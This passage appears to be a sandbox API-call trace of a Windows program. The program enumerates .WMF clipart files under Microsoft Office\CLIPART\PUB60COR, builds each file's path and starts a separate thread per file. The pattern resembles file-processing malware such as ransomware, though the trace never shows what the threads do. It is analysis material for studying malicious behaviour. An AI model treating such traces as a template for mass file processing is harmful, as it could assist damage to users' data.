wcscat (in: _Dest=0x1b85cde0, _Source="DD00117_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" [0126.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104c [0126.463] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0126.463] wcscmp (_String1="DD00121_.WMF", _String2=".") returned 1 [0126.463] wcscmp (_String1="DD00121_.WMF", _String2="..") returned 1 [0126.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85ce70 [0126.464] wcscpy (in: _Dest=0x1b85ce70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0126.464] wcscat (in: _Dest=0x1b85ce70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0126.464] wcscat (in: _Dest=0x1b85ce70, _Source="DD00121_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" [0126.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ce70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1830 [0126.464] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0129.310] wcscmp (_String1="DD00234_.WMF", _String2=".") returned 1 [0129.310] wcscmp (_String1="DD00234_.WMF", _String2="..") returned 1 [0129.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b85cde0 [0129.310] wcscpy (in: _Dest=0x1b85cde0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0129.310] wcscat (in: _Dest=0x1b85cde0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0129.310] wcscat (in: _Dest=0x1b85cde0, _Source="DD00234_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" [0145.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cde0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x151c [0145.832] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0145.832] wcscmp (_String1="DD00255_.WMF", _String2=".") returned 1 [0145.832] wcscmp (_String1="DD00255_.WMF", _String2="..") returned 1 [0145.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202ae0b0 [0145.833] wcscpy (in: _Dest=0x202ae0b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.833] wcscat (in: _Dest=0x202ae0b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.833] wcscat (in: _Dest=0x202ae0b0, _Source="DD00255_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" [0145.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fec [0145.834] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00256_.WMF", cAlternateFileName="")) returned 1 [0145.834] wcscmp (_String1="DD00256_.WMF", _String2=".") returned 1 [0145.834] wcscmp (_String1="DD00256_.WMF", _String2="..") returned 1 [0145.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202ae9b0 [0145.834] wcscpy (in: _Dest=0x202ae9b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.834] wcscat (in: _Dest=0x202ae9b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.834] wcscat (in: _Dest=0x202ae9b0, _Source="DD00256_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" [0145.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae9b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ff4 [0145.835] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe550c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe550c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x9456, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00261_.WMF", cAlternateFileName="")) returned 1 [0145.835] wcscmp (_String1="DD00261_.WMF", _String2=".") returned 1 [0145.836] wcscmp (_String1="DD00261_.WMF", _String2="..") returned 1 [0145.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202ae410 [0145.836] wcscpy (in: _Dest=0x202ae410, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.836] wcscat (in: _Dest=0x202ae410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.836] wcscat (in: _Dest=0x202ae410, _Source="DD00261_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" [0145.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202ae410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ff8 [0145.837] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8572f00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8572f00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x9c5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00297_.WMF", cAlternateFileName="")) returned 1 [0145.837] wcscmp (_String1="DD00297_.WMF", _String2=".") returned 1 [0145.837] wcscmp (_String1="DD00297_.WMF", _String2="..") returned 1 [0145.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202af3d0 [0145.837] wcscpy (in: _Dest=0x202af3d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.837] wcscat (in: _Dest=0x202af3d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.837] wcscat (in: _Dest=0x202af3d0, _Source="DD00297_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" [0145.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af3d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ffc [0145.838] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d8c4300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d8c4300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00372_.WMF", cAlternateFileName="")) returned 1 [0145.838] wcscmp (_String1="DD00372_.WMF", _String2=".") returned 1 [0145.838] wcscmp (_String1="DD00372_.WMF", _String2="..") returned 1 [0145.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202af610 [0145.839] wcscpy (in: _Dest=0x202af610, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.839] wcscat (in: _Dest=0x202af610, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.839] wcscat (in: _Dest=0x202af610, _Source="DD00372_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" [0145.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2004 [0145.840] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00405_.WMF", cAlternateFileName="")) returned 1 [0145.840] wcscmp (_String1="DD00405_.WMF", _String2=".") returned 1 [0145.840] wcscmp (_String1="DD00405_.WMF", _String2="..") returned 1 [0145.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202af580 [0145.840] wcscpy (in: _Dest=0x202af580, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.840] wcscat (in: _Dest=0x202af580, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.840] wcscat (in: _Dest=0x202af580, _Source="DD00405_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" [0145.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202af580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2008 [0145.841] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00407_.WMF", cAlternateFileName="")) returned 1 [0145.841] wcscmp (_String1="DD00407_.WMF", _String2=".") returned 1 [0145.842] wcscmp (_String1="DD00407_.WMF", _String2="..") returned 1 [0145.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202aea40 [0145.842] wcscpy (in: _Dest=0x202aea40, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.842] wcscat (in: _Dest=0x202aea40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.842] wcscat (in: _Dest=0x202aea40, _Source="DD00407_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" [0145.842] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aea40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200c [0145.843] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0145.843] wcscmp (_String1="DD00413_.WMF", _String2=".") returned 1 [0145.843] wcscmp (_String1="DD00413_.WMF", _String2="..") returned 1 [0145.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202aead0 [0145.843] wcscpy (in: _Dest=0x202aead0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.843] wcscat (in: _Dest=0x202aead0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.843] wcscat (in: _Dest=0x202aead0, _Source="DD00413_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" [0145.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202aead0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2010 [0145.845] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0145.845] wcscmp (_String1="DD00414_.WMF", _String2=".") returned 1 [0145.845] wcscmp (_String1="DD00414_.WMF", _String2="..") returned 1 [0145.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4af00 [0145.845] wcscpy (in: _Dest=0x1cf4af00, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.845] wcscat (in: _Dest=0x1cf4af00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.845] wcscat (in: _Dest=0x1cf4af00, _Source="DD00414_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" [0145.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4af00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2014 [0145.846] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0145.846] wcscmp (_String1="DD00419_.WMF", _String2=".") returned 1 [0145.846] wcscmp (_String1="DD00419_.WMF", _String2="..") returned 1 [0145.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ae70 [0145.846] wcscpy (in: _Dest=0x1cf4ae70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.846] wcscat (in: _Dest=0x1cf4ae70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.847] wcscat (in: _Dest=0x1cf4ae70, _Source="DD00419_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" [0145.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ae70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2018 [0145.848] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0145.848] wcscmp (_String1="DD00437_.WMF", _String2=".") returned 1 [0145.848] wcscmp (_String1="DD00437_.WMF", _String2="..") returned 1 [0145.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4b140 [0145.848] wcscpy (in: _Dest=0x1cf4b140, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.848] wcscat (in: _Dest=0x1cf4b140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.848] wcscat (in: _Dest=0x1cf4b140, _Source="DD00437_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" [0145.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x201c [0145.849] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0145.849] wcscmp (_String1="DD00448_.WMF", _String2=".") returned 1 [0145.850] wcscmp (_String1="DD00448_.WMF", _String2="..") returned 1 [0145.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4aba0 [0145.850] wcscpy (in: _Dest=0x1cf4aba0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.850] wcscat (in: _Dest=0x1cf4aba0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.850] wcscat (in: _Dest=0x1cf4aba0, _Source="DD00448_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" [0145.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4aba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2020 [0145.851] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2708, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00449_.WMF", cAlternateFileName="")) returned 1 [0145.851] wcscmp (_String1="DD00449_.WMF", _String2=".") returned 1 [0145.851] wcscmp (_String1="DD00449_.WMF", _String2="..") returned 1 [0145.851] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ad50 [0145.851] wcscpy (in: _Dest=0x1cf4ad50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.851] wcscat (in: _Dest=0x1cf4ad50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.851] wcscat (in: _Dest=0x1cf4ad50, _Source="DD00449_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" [0145.851] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2024 [0145.852] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, 